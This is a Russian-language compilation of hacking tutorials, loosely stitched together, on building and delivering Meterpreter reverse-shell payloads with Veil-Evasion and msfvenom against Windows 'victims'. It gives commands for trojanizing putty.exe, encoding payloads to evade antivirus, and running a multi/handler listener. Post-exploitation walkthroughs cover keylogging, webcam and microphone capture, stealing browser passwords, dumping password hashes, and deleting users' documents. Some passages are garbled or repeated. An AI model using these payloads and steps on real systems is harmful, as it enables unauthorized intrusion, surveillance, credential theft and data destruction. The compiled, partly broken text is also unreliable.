Meterpreter kali linux как установить
Взлом ПК при помощи Veil-Evasion
Привет хацкер, в этой статье, будет подробно описан взлом удаленного компьютера с использованием Kali Linux, Veil-Evasion, Metasploit.
Ниже представлена схема, по которой будет осуществляться проникновение
1. Kali Linux (Я использовал Kali GNU/Linux Rolling)
2. Статический белый IP (В моем случае Kali находится за NAT роутера с статическим адресом. Подключение к нашей машине извне будут идти на 443 порт. (В роутере он проброшен на локальный адрес Kali.) Использующие динамический адрес могут использовать DyDNS. (Не пробовал, но должно работать)
3. Veil-Evasion – фреймворк, с помощью которого мы попытаемся обойти антивирус, создадим файл с полезной нагрузкой в формате .exe.
Выполните в терминале следующее:
Следим за установкой, соглашаемся и все устанавливаем.
Запускаем файл Veil-Evasion.py из терминала или из папки /root/Veil-Evasion.
Далее вводим команду list – она покажет список доступных payload.
Вводим - use 32
Задаем опции будущему файлу, вводим последовательно следующие команды:
Вводим имя создаваемого файла.
Выбираем вторую строку, жмем 2.
Ждем успешной генерации файла.
Созданный файл любым путем доставляем на компьютер жертвы. Весит немного, стандартными антивирусами Win7, Win8.1, Win10 не определялся.
Выходим из Veil-Evasion.
Когда файл на компьютере жертвы будет запущен, вы увидите что открылась сессия meterpreter>.
Сразу советую мигрировать в другой процесс т.к. файл могут удалить, процесс завершится и т.д.
Делается это так, вводим:
ps – отобразится список активных процессов. Находим , например, explorer, смотрим его PID.
Успех. Теперь необходимо повысить права в системе, команда:
getsystem (срабатывает не всегда.)
В целом поможет разобраться стандартная команда help
Ниже пару моментов которые помогут быстрее освоиться в системе.
1. Кейлоггер
2. Скрипт File_collector – позволит создавать список файлов имеющихся в определенном каталоге компьютера жертвы, редактировать его, и скачивать интересующие файлы себе.
Затем создаем список файлов в одном каталоге:
Редактируем наш выходной файл, т.к. не все файлы нужны.
Скачиваем файлы на свой компьютер.
Полагаю не нужно обьяснять, что делают скрипты upload и download)
3. Используя скрипты scrapper и winenum можно собрать информацию о системе, которая сохранится на вашем локальном компьютере.
4. Удаление файлов. Команды вводятся в шелле.
Получаем его следующим образом:
Удаление файлов exe:
удаление файлов doc:
удаление файлов pdf:
5. Командой приведенной ниже можно добавить payload в любой файл (определяется некоторыми антивирусами) При запуске на компьютере жертвы, откроется сессия meterpreter.
Краткое пояснение аргументов команды:
- a 86 - архитектура процессора.
--platform windows - тут понятно.
- x - указать пользовательский исполняемый файл для использования в качестве шаблона.
- k - сохранить поведение шаблона и ввести полезную нагрузку как новый поток.
- p - тип полезной нагрузки.
- e - тип енкодера.
- b - помечаем нулевой байт «плохим», то есть говорим, что его нужно избегать.
- f - формат выходного файла.
За пример взята putty находящаяся в директории /root.
LHOST и LPORT указываем свои.
Приведенный метод, хорошо справляется с взломом Win7, Win8, Win10.
Meterpreter — это расширенная многофункциональная нагрузка (payload), которая используется в Metasploit Framework как унифицированная основа для постэксплуатации. По сути — прокачанная альтернатива классическим шелл‑кодам. Это отличный инструмент в арсенале любого пентестера, но он настолько популярен, что его сигнатуры есть в базах любого защитного ПО, будь то Windows 10, антивирус или даже Google Chrome.
Shikata Ga Nai
Одна из основных техник Metasploit — это схема кодирования полезной нагрузки Shikata Ga Nai (название переводится с японского как «ничего не поделаешь»). Работает она за счет SGN, уникального «полиморфного аддитивного энкодера XOR». Благодаря ему каждый раз, когда ты кодируешь шелл‑код, это будет происходить по‑другому, от чего нагрузка становится для антивируса безопасной на вид.
В SGN реализованы: динамическая замена команд, динамическое упорядочение блоков, случайный обмен регистрами, рандомизация порядка команд, вставка ненужного кода, использование случайного ключа и рандомизация расстояния между командами.
При всех плюсах техника кодирования Shikata Ga Nai не всегда бывает эффективной на последних версиях Windows.
Подробнее о Shikata Ga Nai читай в публикации Ника Хоффмана, Джереми Хамбла и Тоби Тейлора.
Определение проблемы
Давай проверим Shikata Ga Nai на практике и узнаем, действительно ли его популярность привела к тому, что SGN отлавливают антивирусы. В качестве жертвы я буду использовать свой ноутбук с последней версией Windows 10 со всеми установленными обновлениями (Build 19042).
Для начала сгенерируем стандартную нагрузку без SGN:
$ msfvenom -p windows/ meterpreter/ reverse_tcp LHOST=10. 10. 0. 180 LPORT=4433 -f exe > clean_shell. exe
.
Payload size: 354 bytes
Final size of exe file: 73802 bytes
На Kali поднимем handler. На интерфейсе eth1 IP-адрес 10. 10. 0. 180 :
$ msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost eth1
set lport 4433
Очевидно, что файл заблокировал Google Chrome
Давай попробуем открыть файл. На этой машине с Windows 10 у меня установлена подсистема Linux (WSL). Скачаем этот файл в терминале с помощью wget и попробуем запустить.
При попытке открыть нас ждет предупреждение и файл удаляется
Файл Meterpreter был удален даже без обращения к нему. Нужно лишь скачать и подождать около минуты. Какая внимательная Windows! 🙂
Автоматическое удаление файла с Meterpreter
Тем временем на машине с Kali тишина и слышен звук сверчков. Попробуем теперь технику кодирования Shikata Ga Nai. Создаем новый пейлоад в MSFvenom. На машине с Kali по‑прежнему висит в ожидании handler.
Добавим к опциям -e x86/ shikata_ga_nai -b '\ x00' -i 20 , то есть используем SGN в 20 итераций с удалением плохого символа \ x00 .
$ msfvenom -p windows/ meterpreter/ reverse_tcp LHOST=10. 10. 0. 180 LPORT=4433 -e x86/ shikata_ga_nai -b \ x00 -i 20 -f exe > sgn_20_shell. exe
.
Found 1 compatible encoders
Attempting to encode payload with 20 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
.
x86/shikata_ga_nai succeeded with size 894 (iteration=19)
x86/shikata_ga_nai chosen with final size 894
Payload size: 894 bytes
Final size of exe file: 73802 bytes
SGN не помог обойти антивирус
Снова неудача. После скачивания с помощью Wget и запуска нас ждет такая же история, как и в прошлый раз, — с последующим удалением вредоноса. Какой можно сделать вывод? Правильно, на новых версиях Windows 10 Shikata Ga Nai бесполезен.
C сентября 2020 года компания Google ввела Advanced Protection Program для высокорисковых пользователей, таких как политики и журналисты. Загружаемые участниками этой программы файлы могут сначала пройти проверку на серверах Google, а лишь потом попасть к пользователю.
Так происходит потому, что при запуске исполняемого файла и перед загрузкой его в память система пытается найти сигнатуры, принадлежащие вредоносному ПО. В нашем случае такие сигнатуры были найдены и обнаружены. Поэтому Windows 10 не разрешила запуск. Даже SGN не помог. Сам по себе полиморфизм в нем неплох, но слепок стаба этого энкодера уже давно изучен.
Запуск Meterpreter из памяти
Очевидное решение — уход в сторону выполнения Meterpreter из памяти работающего процесса. Возможно, нам удастся обойти не только статический анализ, но и динамический анализ защитника Windows Defender.
Для выполнения программы из памяти я буду использовать Python. Известен способ запуска обратного шелла Python с последующей компиляцией скрипта в единый исполняемый файл модулем py2exe. Безусловно, вариант рабочий, хотя, как отмечает автор статьи по ссылке, питоновский шелл в Windows не позволяет делать некоторые вещи. Всегда есть возможность проапгрейдить Meterpreter прямо в сессии (post-модуль shell_to_meterpreter ). Однако это не всегда удобно, и этот способ можно улучшить.
Продолжение доступно только участникам
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Denis Simonov
Пентестер и дизайнер. Занимаюсь проблемами моделирования времени в виртуальных мирах.
Привет. Начну с того, что применять данную информацию против кого-либо, с кем вы не договорились заранее и не получили разрешение(желательно в письменном виде с подписью) - незаконно. Все действия лежат только на ваших плечах и совести. Вся информация предоставлена в ознакомительных целях. Иначе за вами выедут.
Начнём. Возможно, это Часть 1.
Если вы заглянули сюда - значит вы чуточку знаете, что такое Kali Linux и metasploit framework. Если нет, то:
Kali Linux — GNU/Linux-LiveCD, возникший как результат слияния WHAX и Auditor Security Collection. Проект создали Мати Ахарони (Mati Aharoni) и Макс Мозер (Max Moser). Предназначен прежде всего для проведения тестов на безопасность.
Metasploit Framework — удобная платформа для создания и отладки эксплойтов. Кроме того, проект включает в себя базу опкодов, архив шеллкодов и информацию по исследованиям компьютерной безопасности.
Хакер: Kali Linux 2017.1
Жертва: Windows 10 1703 x64
Для начала нам нужно, чтобы наш заражённый файл был запущен на компе/ноутбуке жертвы. Как вы это будете делать - без понятия. Я буду применять свой комп, а Кали у меня на ноуте.
Процесс создания заражённого файла:
1. Внезапно нам нужен файл. В моём примере будет putty, хотя можно юзануть и exe какого-нибудь хрома, например, и потом заражённый файл вернуть на место взамен оригинального. Вы ничего не видели и не знаете
2. Переходим в папку с файлом, либо будем писать полный путь до файла, что не круто.
3. Пишем msfvenom -a x86 --platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=192.168.0.101 -e x86/shikata_ga_nai -i 5 -b "\x00" -f exe -o putty3.exe
Поясню, что тут есть:
msfvenom - собсно, создатель троянов/инжектор троянов в .exe
-a x86 - архитектура x86. Для x86 приложений
-x putty.exe - файл, который мы заражаем
-k - Без понятия, вот как в оригинале: Preserve the template behavior and inject the payload as a new thread. Что-то типа "встроить нагрузку"
-p windows/meterpreter/reverse_tcp - "полезная нагрузка"
lhost=192.168.0.101 - ip атакующего
-e x86/shikata_ga_nai - шифрование, чтоб антивирусы не палили
-i 5 - количество итераций шифрования. У меня 5.
-b "\x00" - что-то связанное с "плохими символами(bad-chars)"
-f exe - формат файла
У меня тут 10 итераций(-i 10).
Данный файл любым методом переносится на комп жертвы и запускается или удаляется антивирусом сразу после переноса
35/64, но для тестов сгодится. Если шифровать разными шифрованиями тыщу раз, то будет меньше палева.
Запускаем metasploit framework и ждём.
Нас встретит "msf >"
Команды выглядят так:
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > show options (показывает, что можно настроить)
Пишем "set LHOST 192.168.0.101", в моём случае. У вас, ясное дело, ваш ip Kali Linux.
LHOST и LPORT должны быть теми, которые мы указали в msfvenom.
Подразумевается, что жертва уже запустила файл и у нас есть доступ. Иначе просто не откроется сессия.
Заражённая программа внешне ничем не отличается от оригинала:
Обычная программа. Только закрывается через несколько секунд.
На ноуте в это время пишем exploit и видим это:
Если вы напишете сначала на кириллице, а потом сотрёте и напишете как надо - всё равно символ останется и выдаст ошибку, что у меня и произошло. Странный баг, но забавный. Иногда бесячий.
"meterpreter > " означает, что мы в системе и можем делать что угодно, но перед этим надо перекинуть "заражённый процесс в другой процесс". Чтобы путти мог закрыться и не закрыл вместе с собой сессию.
Пишем ps и видим список процессов. Надо выбрать тот, который закрывать не будут. Например, проводник, который именуется explorer.exe
PID у него 3044. 2800 это PPID и он нам не нужен.
пишем "migrate 3044" и готово.
5412 - прошлый PID. Если закрыть putty - закроется и соединение. После миграции в explorer.exe Путти может спокойно закрыться и соединение не пропадёт.
Мы в системе. Начинается самое интересное. Сверху текст, снизу картинка. Как и везде.
Возможности meterpreter.
Пойдём от простого к интересному. Некоторую дичь затрагивать не буду. Она интересна, вероятно, каким-то редким людям и в некоторых случаях.
1. help. Выдаст возможные команды, но далеко не все. Даже показывать не буду, там крайне мало инфы.
2. sysinfo. и так понятно, что даёт
3. getsystem - должно дать права админа, но на Win10 не работает
4. getuid - узнать имя компа
5. screenshot - делает снимок экрана жертвы в нативном разрешении монитора жертвы. Куда сохраняет - написано. Скриншот в скриншоте.
6. Команды для вебкамеры:
webcam_list - список вебкамер у жертвы
webcam_snap - делает снимок на камеру
webcam_stream - вебка в прямом эфире
Не смогу показать, нет вебкамеры и вряд-ли теперь будет.
7. record_mic - записывает с микрофона, но у меня сразу же останавливает. Наверное, особенности Win10 и того, что не получилось ввести getsystem.
keyscan_start - включает кейлоггер
keyscan_dump - показывает, что напечатали
keyscan_stop - выключает кейлоггер
Ловит только английские буквы
ololoo, test keylogger
9. uictl [enable/disable] Meterpreter kali linux как установить - должно включать/выключать клаву/мышь/и то и другое, но на Win10 не сработало. На Win7 работало.
Неинтересное закончилось, пора переходить к интересному:
Команды вида "run *что-то*". Они уже более интересные. Тут уже нет порядка крутости, тут всё годно. Может быть, когда-нибудь, я проверю все команды и сделаю пост на пикабу. Прям такой "тру обзор", но это не точно.
Чтобы посмотреть все доступные команды - пишем "run " и жмём Таб два раза. Нас спросят "хотите ли вы вывести всё на экран?" а там 200+ позиций. Жмём "y", потом пробел несколько раз, отмотав до конца и видим примерно это:
Всё я показывать не буду, там очень много. Пост не резиновый.
Ах да, иногда может писать, что скрипт не поддерживается в meterpreter. Это дубликаты другого скрипта, который там напишут.
1. run post/windows/manage/enable_rdp - должно включать rdp, но "insufficient privileges", потому что getsystem не работает. Вероятно, в других Виндах заработает.
2. run post/windows/gather/enum_chrome и /enum_firefox - уносит данные из этих браузеров. В т.ч. и пароли. На этапе "Preferences" задумывается, но не зависает. Сохраняет в /root/.msf4/loot и удаляет при закрытии MSF.
Открыть можно через SQLite Database Browser, который есть в том же Кали, хоть это и текстовый документ. Надо только в программе выбрать "All files".
Файлы Preference и Decrypted открываются в текстовом редакторе.
Про дубликаты: там есть "run enum_chrome", но MSF пожалуется, что он недоступен в этой версии и скажет "юзайте run post/windows/gather/enum_chrome". Если что-то не работает - читайте, что предлагает MSF.
Что же можно там узнать?
2.2. Историю скачивания файлов
2.3. Историю ссылок скачивания файлов
2.4. Гуглопоиск, видимо
2.5. Историю посещения сайтов
2.7. Логины/пароли/сайты, куда подходят логины и пароли
2.9. Телефоны в автозаполнении(если повезёт)
2.10. Адреса в автозаполнении(если повезёт)
На этом пока всё, надо сделать базу к следующему посту и проверить ещё больше вещей в том списке. Вторая часть будет завтра, скорее всего. Но это не точно.
Meterpreter — расширенная многофункциональная начинка (Payload), которая может быть динамически расширена во время выполнения. В нормальных условиях, это означает, что это обеспечивает Вас основной оболочкой и позволяет Вам добавлять новые особенности к ней по мере необходимости.
Первым, наиболее частым действием является внедрение в процесс explorer'a. Эту возможность предоставляет команда migrate:
Далее, как правило, выполняется повышение привилегий до системных. Для этого существует команда getsystem, использующая уязвимость, которая была обнаружена во всех версиях Windows, начиная с версии 3.1:
meterpreter > getsystem
. got system (via technique 1).
Сбор информации
Следующим действием, после подключения к машине, является сбор информации, meterpreter эту процедуру упростил, благодаря наличию скрипта winenum:
meterpreter > run winenum
[*] Running Windows Local Enumerion Meterpreter Script
[*] New session on 192.168.ххх.ххх:1197.
[*] Saving general report to /root/.msf4/logs/scripts/winenum/MICROSOF-30B51A_20111024.0931/MICROSOF-30B51A_20111024.0931.txt
[*] Output of each individual command is saved to /root/.msf4/logs/scripts/winenum/MICROSOF-30B51A_20111024.0931
[*] Checking if MICROSOF-30B51A is a Virtual Machine .
[*] UAC is Disabled
[*] Running Command List .
[*] running command net view
[*] running command netstat -ns
[*] running command net accounts
[*] running command netstat -vb
[*] running command route print
[*] running command netstat -nao
[*] running command ipconfig /all
[*] running command arp -a
[*] running command cmd.exe /c set
[*] running command ipconfig /displaydns
[*] running command tasklist /svc
[*] running command netsh firewall show config
[*] running command net group administrators
[*] running command net view /domain
[*] running command net localgroup administrators
[*] running command net localgroup
[*] running command net user
[*] running command net group
[*] running command net session
[*] running command net share
[*] running command gpresult /SCOPE USER /Z
[*] running command gpresult /SCOPE COMPUTER /Z
[*] Running WMIC Commands .
[*] running command wmic netlogin get name,lastlogon,badpasswordcount
[*] running command wmic nteventlog get path,filename,writeable
[*] running command wmic netclient list brief
[*] running command wmic share get name,path
[*] running command wmic logicaldisk get description,filesystem,name,size
[*] running command wmic volume list brief
[*] running command wmic netuse get name,username,connectiontype,localname
[*] running command wmic service list brief
[*] running command wmic group list
[*] running command wmic useraccount list
[*] running command wmic qfe
[*] running command wmic product get name,version
[*] running command wmic rdtoggle list
[*] running command wmic startup list full
[*] Extracting software list from registry
[*] Dumping password hashes.
[*] Getting Tokens.
[*] All tokens have been processed
[*] Done!
Мы получаем хэш паролей, настройки системы, список пользователей и многое другое.
Есть и еще один скрипт, который собирает более обширную информацию, включая дамп системного реестра, однако иногда с ним возникают проблемы, поэтому приводить его я не буду. Называется этот скрипт — scraper.
Удаленный рабочий стол
Интересным для нас, является получение доступа к удаленному рабочему столу. Остановимся на этом вопросе подробнее, так как все средства для этого у нас есть. Скрипт, выполняющий все настройки подключения называется getgui. Для того, чтобы активировать использование протокола RDP на удаленной машине используется параметр -e:
Где NAME — имя пользователя, PASSWORD — пароль.
Получить шелл
Если нужно получить шелл на удаленной машине, выполняется одноименная команда shell. Либо вручную запустить cmd.
Операции с оборудованием
Если вам нужно отключить клавиатуру или мышь, используется команда uictl. Принимает она следующие параметры:
uictl [enable/disable] Meterpreter kali linux как установить
Enable — включает; disable — отключает.
Кейлогер
Встроенных кейлогера аж два. Один — просто набор команд: keyscan_start — запускает кейлогер; keyscan_dump — выводит полученный результат; keyscan_stop — останавливает работу кейлогера.
Есть также скрипт под названием keylogrecorder. Он более эффективен чем keyscan, и более того, записывает результат в лог:
Затем, чтобы заблокировать рабочую станцию:
Это часто используется, чтобы получить пароль пользователя в связке с кейлогером:
Пользователь, сославшись на глючность винды введет пароль, и мы увидим его в логе кейлогера.
Есть еще интересная команда screenshot. С помощью нее вы можете сделать скриншот на удаленной машине. Если вы работаете под Линукс, запуск Metasploit должен быть выполнен под root, так как скриншот сохраняется в папку msf3.
Если вам нужно выключить или перезагрузить машину, для этого есть одноименные команды shutdown и reboot. Если shutdown или reboot не сработал, такое бывает, убейте процесс lsass.exe, тогда система все равно перезагрузится через минуту:
Рассмотрим еще один момент. Я тестровал Meterpreter на машинах с разными антивирусами и фаерволами, в частности Outpost, Dr. Web и KIS. Проводилась полная проверка, включались режимы повышенной защищенности, но несмотря на это meterpreter так и остался незамеченным.
Читайте также: